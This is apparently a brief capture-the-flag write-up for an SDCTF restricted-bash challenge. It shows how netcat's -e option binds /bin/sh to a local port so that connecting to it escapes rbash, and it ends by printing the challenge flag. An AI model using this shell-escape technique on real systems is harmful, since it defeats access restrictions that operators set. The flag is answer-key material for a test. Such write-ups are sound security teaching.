After testing available commands for this version of restricted bash, I saw that you can use `nc`. Great! I started server process in the background:```shell$ nc rbash-warmup.sdc.tf 1337rbash-5.0$ nc -lv -p 4000 -s 127.0.0.1 -e /bin/sh & 
[1] 3listening on [127.0.0.1] 4000 ...```
Then I used `nc` again to connect to this server and use normal sh instead of restricted version:```shellrbash-5.0$ nc 127.0.0.1 4000connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58068
/flagsdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}```
##### Flag: sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}